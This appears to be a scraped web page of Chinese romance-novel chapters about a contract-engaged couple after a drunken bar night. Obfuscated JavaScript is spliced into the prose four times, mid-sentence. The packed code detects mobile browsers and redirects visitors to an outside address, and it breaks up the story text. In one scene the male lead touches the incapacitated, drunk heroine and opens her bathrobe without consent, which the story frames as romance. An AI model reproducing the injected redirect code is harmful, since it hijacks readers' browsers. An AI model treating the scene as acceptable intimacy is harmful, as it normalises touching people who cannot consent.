第三任是理科男,外形气质介于第一任和第二任之间,戴眼镜,有点书卷气,但并不瘦弱,他一直坚持健身,穿衣显瘦脱衣有肉,还是个市状元。但是他优越感太盛,还有点精致利己属性。姚柔伊和他相处起来感觉很累,对方只对她的外在满意,对她爱好什么的都不屑一顾,甚至有一点点轻视她是美院的,不像他是正儿八经的文化生,而且对姚柔伊喝酒这事格外反感。最终在一次对方的爹味说教下,姚柔伊果断踹了他。 她的恋爱一直都有种虚浮的感觉,更多的是一种好奇与体验,并不是什么刻骨铭心的感受。 现在回想起这几个前男友,没一个真正她心里留下过不可磨灭的痕迹。 所以,每当看见别人为了失恋痛哭流涕,她很费解,为什么她所有的分手感受都挺平和,不觉得任何的可惜和难过,平时日更不可能会回忆他们。除非在特定的场合和话题下,比如此时此刻,她才会稍微回想起来这些人的面容。 甚至,她有时候也会纳闷,自己还会经历一场真正的情投意合的恋爱吗?毕竟她马上就要结婚了,至少这两年内,她需要遵守合约规定,不能背着对方私下找男朋友。 而她的结婚对象,顾阎,一个至今让她捉摸不透的男人。 她不知道自己会不会被这种古板绅士吸引,好像她的内心期许的另一半,是个能调动她情绪的人,而不是这种温和有礼、相敬如宾的爱人。 她在他面前只能装成他们顾家想要的样子,一个失去了活力的公主玩偶。 至少,她肯定不敢在他面前喝酒喝到烂醉。 姚柔伊和朋友一边玩游戏,一边喝酒,不知不觉间又是四五杯下肚,姚柔伊越来越晕,但没有完全失去理智,她已经可以掌握喝醉以及喝断片的那个度。 她是不会允许自己在家以外的地方喝到断片的,哪怕是和朋友在一起。 * 深夜一点,顾阎在朋友圈中刷到姚柔伊发的喝酒图片。 因为过于意外,他挑了挑眉,牵动眉尾的一点小痣。这个女孩还真是有些暗藏玄机,他以为她哪怕真的去喝酒,也应该是去清吧,听着音乐小酌一杯,没想到她定位的地址是个潮人汇集的酒吧。 她之前所表现出来的气质,与酒吧这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634432|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种场所格格不入。 cheers。不知道为什么,他突然也想去倒一杯酒。 顾阎去酒柜取酒回来之后,看见姚柔伊在这条朋友圈下面更新了一条评论。 【头好晕,谁来接我啊?】 顾阎眼睛微眯,倒酒的手停了下来。 这是喝醉了吗? 一定是的。不然以她的性格,怎么会说出这种话来,朋友圈形形色色这么多人,随随便便就找人来接自己,这也太不安全了。 从自己这里到她定位的酒吧,有一个半小时的车程。 尽管已是凌晨一点,顾阎却并没有考虑太多,直觉告诉他自己得去一趟。 在开上高速的时候,顾阎淡淡地“艹”了一句,他真是有病,自己真的喜欢这女生吗,还是说责任感以及保护欲作祟?是不是这段时间他装绅士装得上瘾了?大半夜不睡觉,为了个莫名其妙的朋友圈,驱车去酒吧,还不一定能接到,如果已经有人先到了的话。 路上,来了通电话。没有备注,但顾阎记忆力好,能认出是孟筝的号码。 深更半夜,打给已经分手多年的前男友,怪事一桩。 顾阎没接。 电话却持续不断打进来。 无果,只能接通。 孟筝根本就不是个主动低头的人,连着打好几通电话,是严重不正常现象。 听到她开口的时候,一切都有了答案,她醉了。 电话里她边哭,边大着舌头问道:“你,你真的,真的要结婚了吗?” “嗯。”顾阎回答。心中烦闷,今晚到底怎么了,这么多醉酒的女人。 电话中她哭得更厉害了,又问:“你能不能,能不能不结婚?” “孟筝,向前看吧。”顾阎淡淡说,心中无喜无悲,当年是她提出的分手,他不做挽留。那些年他游戏人间,谁走谁留,他一概不在乎,孟筝特殊也就特殊在,是他最痛苦的那段时间出现的。 “我,我,我后悔了,行不行?” 顾阎:“已经晚了。我正在去接我未婚妻的路上,挂了。” 以他对孟筝的了解,她绝对会后悔今天晚上打得这通电话。 往事如烟,不可追忆。 顾阎到酒吧门前,给姚柔伊发微信。 【我到了。】 醉醺醺的姚柔伊正在卫生间呕吐,吐完后看见顾阎的信息,身体一激灵,醉意都吓走一半。 战战兢兢回复:【?什么到了,到哪了】 顾阎发来视频请求。 姚柔伊完全不敢接,一秒挂断。 顾阎发来一句语音。 姚柔伊哆哆嗦嗦点开。 “你说呢,你自己定位的酒吧,你不知道?” 话中带着轻微的怒气。 啊啊啊啊怎么会这样,顾阎怎么会看到的,她明明屏蔽了他呀! 姚柔伊重新点进朋友圈,查看那条设置的权限,接着发出尖锐暴鸣,该死的,她把不给谁看设置成了部分可见,导致这条朋友圈只有顾阎看见了! 紧接着又一条语音发过来。 “怎么不说话,耍我玩呢?” 15. 第 15 章 这是姚柔伊此生经历的最尴尬事情。 她狠狠锤了一下脑袋,气恼自己怎么会犯这种低级错误,她之前还纳闷为什么那条朋友圈发出去怎么没人点赞呢,搞半天只设置了顾阎可见。 这叫她如何解释,为什么来酒吧,为什么在朋友圈摇人来接自己。 其实找人接自己,纯属是因为刚才玩游戏的时候输了的惩罚内容,必须要在朋友圈发一条这种评论,看看谁会过来。 原本的惩罚时间是一个小时内完成。 一个小时后,没人来就可以把评论删掉,并悲惨地承认自己其实没人在意。 姚柔伊当时没有摇来任何人,大家伙还挺意外的,毕竟他们都开始打赌猜是谁先到,最后一共能来几个人,是否能看到激动人心的修罗场。 结果什么热闹都没看见。 蒋洲还安慰了姚柔伊一场,“狗前任不来还省得看见给自己添堵。” 姚柔伊摆摆手,说:“没人来正好,省得来了之后我还要请他们喝酒。” 乔莎莎拍拍姚柔伊的肩膀:“没事啦,你这样的大美女,给别人的压力很大,很多人掂量一下自己,觉得不配就不敢来了。” 虽说这话也有道理,但要是一点都不care也不可能,多多少少有点失落。 本来酒后她就容易情绪低落敏感,遇到这种情况,更是加重了负面情绪。 为什么连一个关心自己的问候都没有,她明明人缘也不差啊! 现在心里那团浸满了酸涩液体的棉花总算化开了,原来还是被人看见了,并且那人还过来了。 姚柔伊吸了吸鼻子,眼底热热的,泪珠摇摇欲坠,她突然很想要一个拥抱。 或许是那晚顾阎的怀抱太过有感觉,她竟然有一丝贪恋。 她看了眼镜子,头上还是那顶色彩绚烂的假发,妆容也很浓,画的是微烟熏妆,上挑的全包眼线,凸显着野性与魅惑。 这种形象与自己之前呈现在顾阎眼前的样子大相径庭。 她不知道该怎么改动,尤其是现在有点醉,更有种无所谓的冲动,大不了就被他看见,那又怎样?被一个古板老夫子批评教育一通,她在歇斯底里地发疯,告诉他自己根本不是什么大家闺秀,就是爱疯爱玩爱自由。 姚柔伊给蒋洲发微信,“我走了,顾阎来接我了。” 蒋洲回了个OK。 姚柔伊步履微晃,走出卫生间的时候,一个不察就撞上了一堵坚硬的肉墙,撞得她头冒金星。 谁的胸肌练这么大?姚柔伊心里嘀咕着,抬头,正对上顾阎的眼睛。 霎那间,她的大脑短路宕机,一丁点解释的话都说不出。 就这么呆滞地看着他。 看着他的眉毛越拧越紧,眉尾的痣越提越高。那双眼睛真好看,垂下时能看见清晰的、锋利的内双。 他会开口说什么?姚柔伊想。 “你怎么才来啊?”姚柔伊喃喃道,她混沌的大脑里,已经分析不出任何,只能随着本能的想法表达。 甚至说出口后,她才意识到自己的话语里有浓浓的撒娇和埋怨。 顾阎原本是想要个解释,问问她怎么把自己搞成这样? 可此时此刻的姚柔伊,完全是醉鬼,一个美艳的、惹人爱怜的醉鬼。 跟醉鬼还能讲什么道理呢? 尤其醉鬼还在泫然欲泣地看着你,委屈地嘴角都弯下去。 “真是个脏兮兮的小猫。”顾阎伸手,抹掉她脸上的泪珠。 他打横抱将她抱起。 双脚离地的那一刻,姚柔伊的心也轻飘飘地上浮着,仿佛坠入了云层中。她揽着顾阎的脖子,脸埋进了他的肩膀处,泪水开闸泄洪。 为什么啊,为什么这么想哭呢?明明她平时很少会这样的,一定怪酒精,一喝多她就控制不了情绪,一点点伤感都无限放大。 没有人搭理她真是太难过了,该死的顾阎,来接她之前也不告诉她,让她误以为自己是个没人爱的可怜人。 顾阎只穿了一件休闲衬衣,肩头传来的热度愈发清晰,水润湿黏的触感。 多久没有女人靠着他哭过了,他甚至对这种感受有些陌生不适。 “哭什么,你还委屈上了,老子大半夜开这么久的车过来容易吗?” 姚柔伊像撒泼的小野猫,恶狠狠地咬他的肩膀,“怪你,怪你,就怪你,谁叫就你一个人能看到我发的朋友圈,还来这么晚。” 原来她的朋友圈是专门仅他可见,顾阎心中烦闷以及深夜开车的疲惫一扫而空。 这话听着太熨帖了,他很受用。在男女相处上,顾阎偏向掌控方,很需要对方的顺服和依赖,满足内心的征服欲。 顾阎将姚柔伊抱到车上,放她下来时,姚柔伊还扒拉着他的脖子不肯松开。 “别怕,我不走。”顾阎轻轻把她的手分开,把她安放在副驾驶位置上坐好。 在替她系好安全带之后,顾阎关门,绕到另一边,上车。 一上车,姚柔伊立马去抓他的手。 顾阎疑惑,姚柔伊怎么突然变得这么黏人,喝完酒仿佛年龄都变小了,现在像个幼稚园宝宝,一刻都离不开人。 他仍然目光平和地观察着她,从头到尾。 橘红色的卷发,冷艳的妆容,因流泪眼妆稍显斑驳,穿着有点亚比风格,露一双白润细腻的大长腿。 身上除了浓烈的酒气,还隐隐约约掺杂了香水味,橙子味道的。 一种很难形容的诡异美感。 她的手还抓在他放在方向盘上的手,像是小孩子抓到了一把糖,不肯松手。 这就是传说中的反差吗? 酒桌上的狐朋狗友常说,一般越是乖乖女好学生,越是反差,其实床上放得很开。 他不想对姚柔伊产生这种龌龊的想法,但当前情形,他很难不去这么想。 其实他对这事并不反感,大家闺秀通常会劝他不要饮酒,而他更希望人生伴侣是个能陪他一起喝醉的人。 如果姚柔伊是个外表正经,内里叛逆的反差女孩,似乎也挺好,比一成不变的淑女有趣,让人更有探究欲。 “为什么喝酒?”他随口问。 姚柔伊不答反问:“为什么来接我?” 顾阎无可奈何笑了下:“不是你在朋友圈里发的吗?” 姚柔伊醉醺醺摇头:“那你可以当没看见。” “不好意思,我又不是瞎子。” “你是不是喜欢我?”姚柔伊更进一步。 这话让顾阎彻底来了精神,以后当他回忆起,自己从那一刻对姚柔伊来了兴趣,他会回答这一刻。 她歪着头,懵懂又直白地发问,自己是不是喜欢她。 顾阎傲娇起来:“切,我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634433|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真不喜欢你这一卦的,没劲。” “我没劲?”姚柔伊撒气,狠狠掐他的手臂,“现在有没有劲,我哪里没劲?” “嘶——”顾阎吸气,醉鬼的力气可真是吓人,根本不知道收着力道,尖利的美甲快陷入皮肉中。 姚柔伊这才出气,转过身抱着手臂坐正,赌气不看他。 “其实你也没劲透了。”她不服输。 顾阎冷笑,虎口卡着她的下巴,把她的脸掰过来,“我没劲,我那是为了谁,还不是为了跟你相配啊。” 姚柔伊低头,一下子咬下去,和出其不意的猫咪咬人别无二致。 顾阎见她实在是醉得分不清大小王,也没惯着她,直接捏她的两颊,用了点力,姚柔伊吃痛松开嘴。 “真想把你现在的样子给录下来,看你明早怎么跟我狡辩。” “哼,我爱什么样子就什么样子,你管得着吗?” “我怎么管不着,我可是你未婚夫。” “假的。” 是,假的。顾阎“啧”了声。 “你又不想结婚。”姚柔伊又说。 顾阎反唇相讥:“你不也是,彼此彼此。” 姚柔伊:“我就是为了钱才跟你结婚的。” “没办法,谁叫我钱多。”顾阎根本不在乎她为什么和自己结婚,反正大家都是为了应付长辈。“你把我哄开心了,说不定我能给你更多。” 这话姚柔伊居然听见去了,还煞有其事地思考一番值不值当。 “怎么哄你开心?” 这倒是一下子问住了顾阎,他随口说句话,姚柔伊还当真了,真的要去践行。 “掉钱眼里了。” “怎么了,我就是爱钱,谁不爱钱,你不爱钱你还上什么班?” 顾阎:“你都没有人生追求吗?” “我的人生追求就是不上班也有钱,花不完的钱,然后我想画画就画,不想画就不画,不用接稿子赚钱,只画自己喜欢的。你这种有钱公子哥根本不懂,从来不会替钱发愁,我都好奇你上班的动力是什么,赚更多的钱吗,下下下辈子都花不完。” 顾阎沉吟,他很意外姚柔伊的坦诚。姚柔伊的愿望,对他而言,根本不是什么不切实际的事,他根本不需要另一半去工作赚钱,不出意外,他完全能提供给另一半永远不需要为钱财担忧的生活。 “钱真的这么重要吗?”顾阎轻轻叹息,他的思绪飘向远方,在遥远的国度,他真的放弃了父母的供给,体验过只花自己赚的钱的感受。那个时候,他很痛苦,但更多的是一种父母决裂的精神痛苦,对经济局促的痛苦倒是不多。也是在那个时候认识的孟筝。 姚柔伊狂翻白眼,“真想顾家破产,让你体验一把没钱的感受。” 顾阎轻轻的笑了下,也不想跟她说自己以前的经历。 他发动车子。 姚柔伊头脑发懵,在十分钟后才想起来问:“我们这是要去哪里?” “酒店。” 已经凌晨三点,他实在没精力再开一个半小时,把姚柔伊带回自己住的地方。 姚柔伊惊得长长吸了一口气,怔怔地看向顾阎:“是不是有点太快了,亏你还说不喜欢我,口是心非。” 顾阎无语,醉鬼的脑回路真是跳脱。 “你想什么呢?” 姚柔伊:“想跟你睡觉。” 16. 第 16 章 语出惊人死不休。 车内陷入寂静。 顾阎目光幽深地看过去。 在酒精的影响下,姚柔伊大脑运转极为缓慢,她还没意识到她说了什么惊世骇俗的话。 “头晕,好困,我真的想睡觉了。” 顾阎:“跟我睡觉?” “一起去酒店,开房间睡觉。”姚柔伊点头。 “知道自己在说什么吗?”顾阎又想到那些生意伙伴淫猥调侃的反差女,难道她真的也是那种很开放的女孩吗,“你在邀请我上床?” 姚柔伊好像才意识到事情的严重性,忙摇头:“我是说,我想睡觉,不是上床。” “你想睡觉就说想睡觉,说什么想跟我睡觉。” 姚柔伊很无辜,她想的就是单纯睡觉呀,“就是跟你一块去睡觉,你也去睡觉,我也去睡觉,我们都去睡觉。” “睡觉,睡觉,睡觉。”顾阎情绪稍显闷躁,不耐烦地说:“酒鬼真烦人。” 姚柔伊歪头:“人当然要睡觉,你难不成不用睡觉吗?” “你管我?”鉴于此刻姚柔伊并不是清醒状态,顾阎也就没必要装什么正人君子。 “谁要管你,我又不是老妈子。”姚柔伊小脸皱成一团,不知道顾阎这么冲干嘛。 “脾气还挺爆。”顾阎呵笑,“真不知道哪个才是真正的你。” “你管我?”姚柔伊原话奉陪。 这小嘴,真是不肯吃亏,要是没喝酒,估计吵起架来更厉害。不过转念一想,要是没有酒精的加成,姚柔伊可能又恢复那个脾气温柔的淑女了,根本不会和他顶嘴。 顾阎不再和她交谈,驱车去了他家控股的一个豪华酒店。 姚柔伊这才想起来,“我没带身份证。” 顾阎想说不用,但这时顽劣的性格乍现,他故作遗憾地说:“那可怎么办,我去住房间了,你就在车里将就一晚吧。” 姚柔伊一百个不愿意,喝完酒不洗澡在车里呆一晚,气味发酵之后能臭死。 “我不要睡车上,我就要睡酒店,你要让我睡车上,我肯定要吐到车里。” “你敢!”顾阎咬牙。 姚柔伊刚说完“就敢”,紧接着就毫无形象地做呕吐状,并发出响亮的呕声。 顾阎脸黑得不行,忙伸手捂住她嘴巴,以防惨剧发生。 好在姚柔伊只是故意的,并没有真的吐出来,在卫生间时她已经把胃里都吐空了。 她抱着顾阎的胳膊,摇来晃去,撒娇,“求求你了,带我上去。” 顾阎:“以什么身份?” “未婚妻啊。”姚柔伊自然而然地回答。 “未婚夫妻岂不是要睡在一起。” 姚柔伊纠结了一会,睡车里和同床共枕两个选择中,她还是选择和顾阎睡一起,反正她一定要卸妆洗澡,把自己收拾干净了才能睡觉,不然浑身难受。 “那就睡一起。”她话语沉重,仿佛下了天大的决心。 顾阎本想开两间房,但看见姚柔伊那英勇赴死的表情,突然改变主意了。 他有点喜欢姚柔伊这副宁折不弯的模样,让他有更进一步的探究欲望,想看看她还会做出什么新鲜的表情来。 顾阎抱起姚柔伊,大步进了酒店,她把脸埋进他的胸膛,活像只不肯见人的鸵鸟。 顾阎进入早就为他预留过的顶层套房。 姚柔伊这才抬起头,小幅度挣扎一下,低声说:“放我下来。” “你能站稳吗?” “当然。” 顾阎把她放在地上,脚一触地,她就腿软,险些跌坐在地上。 顾阎只能把她捞起,放到沙发上。 “喝成这样,你可真行。” 姚柔伊再次尝试起身,但身体好像不受控制,仿佛被抽走了筋骨,软绵绵的,她只能就着沙发躺倒,先缓一缓,再去浴室。 顾阎蹙眉,这可真麻烦,她明显醉得比刚才更严重。 她口中哼唧,“我不要睡觉,我要洗澡。” “这个样子怎么洗?”顾阎担心现在放她去洗澡,她会在浴室里摔出个毛病。 “我就是要洗,身上脏死了。”姚柔伊抗议。 顾阎毫无办法,只能给前台打了个电话,让安排个女服务员来帮姚柔伊洗澡。 女服务员很快上来,是个高大壮实的中年妇女,顾阎放心了,这体格摆弄个醉鬼应该没啥问题。 在姚柔伊洗澡的时候,顾阎去阳台上抽烟。 折腾了这么久,他现在毫无困意。 阳台外还修了一个露天泳池,抽完烟的顾阎换上了泳裤,纵身一跃,丝滑入水,畅游起来。 他平时常做的运动,除了拳击以外,还有就是游泳。 拳击可以发泄压力,而游泳让他能感受到平静。在水中,没有没有任何的杂音,也没有任何的拘束,只需要感受水,对抗水,驾驭水。 在曾经那段痛苦彷徨、自暴自弃的岁月,每当他感觉精神绷不住的时候,都会泡在水里,那种时候会让他获得短暂的安定。 他一口气游了四十分钟。 上岸后,赤裸着脚,回到房间,瘦长的脚掌在地板留下一串水渍。 姚柔伊已经洗完澡,穿着浴袍,服务员正在给她吹头发。 她已经闭上眼睛,她实在太困了,洗澡的时候都没睁开,随便别人的摆弄。 褪去了妆容,她的皮肤很素净,白嫩中透着酒后的酡红,如同一匹没有任何瑕疵的玉色绸缎。她的五官很精致,闭上眼睛时,媚感减弱,多了一分纯真。 头发吹干,服务员离开了房间。 姚柔伊缓缓睁开眼睛,看见了刚才浴室冲澡出来,从头到脚湿漉漉的顾阎,他腰上只系着一条摇摇欲坠的白浴巾。 “变态。”她小声咕哝。 顾阎眉头紧拧,他牺牲睡眠,忙活了一整晚,明天还需要补觉,怕是连公司都没法去,到头来换了这么个评价。 “我是不是太给你脸了?”他俯身,越压越低,姚柔伊往沙发后靠,上半身已经躺了下去,头抵在沙发靠背上,退无可退。 尽管醉意朦胧,她还是本能得感觉到危险在逼近,顾阎发梢的水珠滴落在姚柔伊的脸颊、脖颈、锁骨上,水珠冰凉的触感让她缩了下脖子。 “知道真正的变态是什么样的吗?”他低声说。 姚柔伊就这么强打着精神,半睁半阖看向顾阎,眼睑像蝴蝶振翅,飒飒抖动,闭上又强行掀起,循环往复。 她已经困到极限,尤其是刚洗完热水澡,更是每个毛孔都舒服得打瞌睡。 顾阎撑在沙发边上的手抬起来,摸上她柔软温热的粉颊,他的手顺着细长的脖子继续往下,探入浴袍的衣领下,停住,等待她的反击。 姚柔伊想抬手阻拦,但使不出力气,只能无力地接受他的所作所为。 顾阎将浴袍领往外扯了扯。 对方仍然没有任何明显的反抗行径,这让他感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645220|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无趣。 泄露出的春光虽美,但他并没有采撷的欲望。 他更多的是想看到姚柔伊鲜活的反应,是害羞,还是愠怒,亦或是半推半就。 总之,别是这种死鱼表现。 目光上移,对上她的面庞,方才还半睁半阖的眼睛,此时彻底闭上了。 “喂。”顾阎出声。 姚柔伊毫无回应,呼吸平缓,昏昏大睡。 顾阎失笑:“你可真是心大。” 与口中的变态相处一室,竟然还能撑不住睡死过去。 鼻尖传来淡淡的香气,除了沐浴露的味道,还有一丝清新的橙子味,她好像很喜欢橙子味的香水,用多了身体都有点腌入味,融为她的体香。 这香气让顾阎神经放松,人在放松的时候,睡意如一张大网铺天盖地袭来。 顾阎也是如此,他将姚柔伊抱到床上。自己简单擦了下身上的水渍,吹干头发,掀被上床。 他伸手将姚柔伊拥入怀中,嗅着她脖颈处弥散的香味,沉沉进入梦乡。 * 翌日。 姚柔伊先醒。 醉酒后她的睡眠情况一向很好,一夜无梦,一觉至天明。 只是醒来之后,大脑并不是特别清明,有隐隐的闷痛,到底是酒精伤身。 本想接着睡,反正她已经毕业,不用再去学校,但目光所及,处处陌生。 更可怕的是,旁边竟然还有个人,男人! 姚柔伊困意一扫而光,直接坐起,她心脏砰砰直跳,虽惊吓过度,但并没有尖叫。 她很少会失控尖叫。 待定睛看清那男人的脸,她稍稍冷静,是个熟人,或者说半个熟人。幸好不是陌生男,她并没有被人“捡尸”,不然她肯定要抓着这人去派出所报案。 顾阎怎么会在这?他们怎么会在一张床上?他们不是签订过合约,不同房的吗? 姚柔伊强迫自己冷静下来,回想昨晚发生的事情。 好在她昨天并没有醉到断片的程度,努力回想时,记忆如潮水涌入,她还记得当时她发的朋友圈,手误设置成了仅顾阎可见,还记得她在卫生间吐完,顾阎突然出现在酒吧,把她抱走了。 再然后呢,他们来到酒店,可进入酒店之后的记忆太混乱斑驳,她有些记不清。 只记得最后,顾阎离她特别近,近到她能感受到他鼻腔呼出来的热气,好像他还碰到她的脖颈,接着她实在没撑住彻底昏睡过去。 可在睡过去之后,又发生了什么?他不会趁人之危吧?未知的恐惧袭上心头。 她忙低头朝浴袍内看了眼,身上什么痕迹都没有,她松了口气。 除了脑袋晕晕涨涨的,身体其他地方都没有任何不适。 这让她放心下来,顾阎到底是个君子,她的人身安全得到保障。 姚柔伊总算能分心考虑,她昨天喝酒时是什么样子,衣着打扮、行为举止是否有何不妥。 不想还好,一回想,立马完蛋,她好像用的是平常的装扮,张扬出格,根本不是她一直伪装的优雅小白花。 至于她的言行举止,姚柔伊想不真切,不太记得自己说过什么,只不过本能认为肯定是狂崩人设,救都救不回来。 更让她想不明白的是,为什么最后一个记忆是顾阎俯身压在她上方,中间是发生了什么,让他做出这种举动,难道是她喝多了之后邀请他春风一度? 要真是这样,她真想一头撞死拉倒。 17. 第 17 章 铸成大错,姚柔伊好生崩溃,她不死心点开微信朋友圈,再次检查了那条朋友圈,确定自己确实设置错了分享范围,这种低等错误太不应该了,她气得直接把这条朋友圈给删了。 删完之后,她开始思索,如何解释这件事,能挽回她的人设。 就说自己是因为毕业,内心伤感,又怕之后再也见不到大学同学,所以才答应和他们聚会的。 不曾想,他们居然把聚会地点安排在酒吧。 她起先并不知情,来到之后惊觉被骗,想离开但被蒋洲拦下。 她是被迫喝酒的。 至于朋友圈也是蒋洲拿她手机发的,她根本不知道。 ……嗯。就是这么牵强的解释。 姚柔伊打算把去酒吧喝酒这事全推给蒋洲,但转念一想,自己的装扮没法解释呀,蒋洲总不可能逼着她戴假发,化烟熏妆吧。 她左思右想,还是想不出什么恰当的理由,能解释昨晚的一切。 既然,实在不好面对这事,那她不如选择逃离,把这件事给冷处理,说不定几天之后,顾阎这个大忙人处理几天工作,就忘记昨天的事。 他们继续保持之前的相处模式,这事就算翻篇。 她并不觉得顾阎对自己的求知欲有那么强,冷几天说不定连她这个人都抛到脑后了。 嗯,就这么办。 溜之大吉。 姚柔伊轻手轻脚地下床,刚把被子掀开,左腿探出,脚还没够到地面,顾阎就睁开了眼。 正对上姚柔伊做贼心虚的眼睛。 “早。”顾阎先出声。 姚柔伊面带柔和的尬笑,露出八枚牙齿,“早。” 可恶啊!!!怎么这么快就醒了! 现在她到底是走还不走啊?! 思考两秒后,姚柔伊觉得自己离开的最佳机会已失,现在走了,不仅显得她心虚有鬼,还让别人觉得她没有教养。顾阎再怎么说,也是大老远跑来接她,她必须要表达谢意,而不是不负责任地溜走。 “怎么了?”顾阎用眼神询问,怎么要走啊? 姚柔伊忙道:“我去趟卫生间。” 顾阎点点头,继续闭上眼睛休眠。 姚柔伊下床,走到卫生间,洗手台上有她的假发,不看见还好,一看见心里就来火,姚柔伊把假发拾起来狠狠丢进垃圾桶。 她坐在马桶上时,想排尿,却突然端起包袱来,不想让外面的顾阎听见声音,这太尴尬了。 她起身把水龙头打开,重回马桶上,用水声遮掩住排泄声。 尿完通体舒畅,她站在镜子前,仔细打量镜中的自己,黑色柔顺长发,素面朝天,但依然精致美丽,唯独眼下有着没休息好的黑眼圈。 看了一会,心情大好,姚柔伊重新回到卧室。 她看着那张宽大异常的床,思考着下一步做什么,反正肯定不能再重新回到床上睡觉。 她坐在沙发上,坐得很端正。 她身上还是昨晚的浴袍,昨天换下来的衣服她已经不想再穿了,顾阎就在这里,她再穿上着实不妥。 可是坐在沙发上,看顾阎睡觉,也太诡异了,简直像个变态。 顾阎仿佛听见了她的心声,他醒过来,靠着床头坐起。 薄薄的被子顺着胸膛滑落,堆积在小腹,露出蜜色的健硕胸肌和块垒分明的腹肌。 姚柔伊艰难将视线从他的□□上移开,内心赞道,多好的人体绘画素材啊。 顾阎侧头,他的表情很困倦,声音懒洋洋的,“醒了?” 姚柔伊点头,主动出击道:“那个,我怎么在这呀,今天还从你的床上醒来,好害怕啊。” “怎么,忘记昨晚的事情了,我有必要提醒你,是姚小姐你非要跟我过来的。” 姚小姐,他非要礼貌地叫这么一下,叫她怪难堪的。 “是吗,我真的忘记了,我喝了太多酒,头很疼。” “你还会泡吧?” 姚柔伊立马换上一副惊恐和受伤的表情,“没有,你怎么会这么想我?” 顾阎暗道,看你怎么装。 姚柔伊委屈地解释:“是同学聚会,我们当时聚会上喝酒,我不想喝,但那是毕业聚会,还有老师和辅导员参加,然后我不是还获得作品拍卖机会了嘛,好多人就来给我敬酒,我又不好不喝,然后我就醉了,我也不知道为什么我就到酒吧了,可能他们吃完饭转场开启了下半场聚会,我头脑晕晕的,被带过去也不清楚。幸亏你来带接了,不然我昨天真就危险了,太感谢你了!” “哦?昨天看你朋友圈发的,好像不是这么回事啊。”顾阎提出质疑,他随手拿起手机,翻朋友圈,划了几下,未找到昨晚那条朋友圈。 姚柔伊松了口气,还好删得及时。 “那个我也不知道是怎么回事,可能是同学开玩笑,故意用我的手机发的,我从来不会发那种朋友圈的。”姚柔伊说的信誓旦旦。 “是吗,原来是这样啊。”明明觉得她的借口烂得让人想笑,但既然对方这么急于否认,自己也没必要抓着不放,他又不是那种咄咄逼人的人。接着,他颇有些遗憾地说:“我还以为你是想邀请我一起喝酒的呢?” “不不不,我很少喝酒的,我喝酒会变成另外一副模样,那个样子根本不是我。”姚柔伊一边否认,一边给自己编造了一个完美的理由,去解释昨晚的所作所为。 “怪不得呢,我差点还以为昨晚那人才是你的真实性格呢。” “那肯定不是,就是因为我一喝酒,就容易性情大变,所以我家人禁止我喝酒的,昨天实在是个意外。” 好拙劣的解释,顾阎心里吐槽,他还是觉得昨晚的姚柔伊更可爱。 顾阎:“其实,昨天晚上的你挺有趣的。” “哈哈,是吗?”姚柔伊挠了下头发,捉摸不准顾阎这话是不是客套。 顾阎很想继续逗逗她,你知不知道你昨晚还骂我是变态,但是又觉得他们之间的关系还没有那么亲密,问出口会让她以为自己很轻浮,故而没有继续。 姚柔伊单方面宣布危机解除,她不用再为这事提心吊胆。虽然也知道自己的这波的糊弄破绽百出,但只要当事人不在乎,那这事就能翻篇。 成年人嘛,凡是留一线,日后好相见。 合约夫妻,又不是真的自由恋爱的情侣,这么较真干嘛。 好在顾阎也是这种想法,他们的观念还算合拍,真是个让人省心的合作对象。 姚柔伊在心里把顾阎的印象分再加高几分。 既然这事已了,姚柔伊便要追究同床一事:“那个,你还记不记得,我们之前签订的合约,是不同床的,不知道为什么会发生昨晚的事情,这算不算你单方面的违约,毕竟我那个时候是喝醉的,没办法决定这种事情。” 顾阎无语地注视他。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾阎想笑,酒醒之后,这女孩又成了这般心口不一的样子,完全没有昨晚那般率真调皮,想说什么就说什么的风范。 他清楚对方是在打探他的私生活,可她就是说的冠冕堂皇,不肯直接问一句,你是不是睡过很多女人? 顾阎只回答:“不是你臆想那样。”的确不是,他又不是种马,整天眠花宿柳,随便哪个身材长相合胃口的女人就能上床。 姚柔伊“哦”了声,心道反正我又不跟你同房,谁管你私生活乱不乱。 顾阎反问:“你呢?” 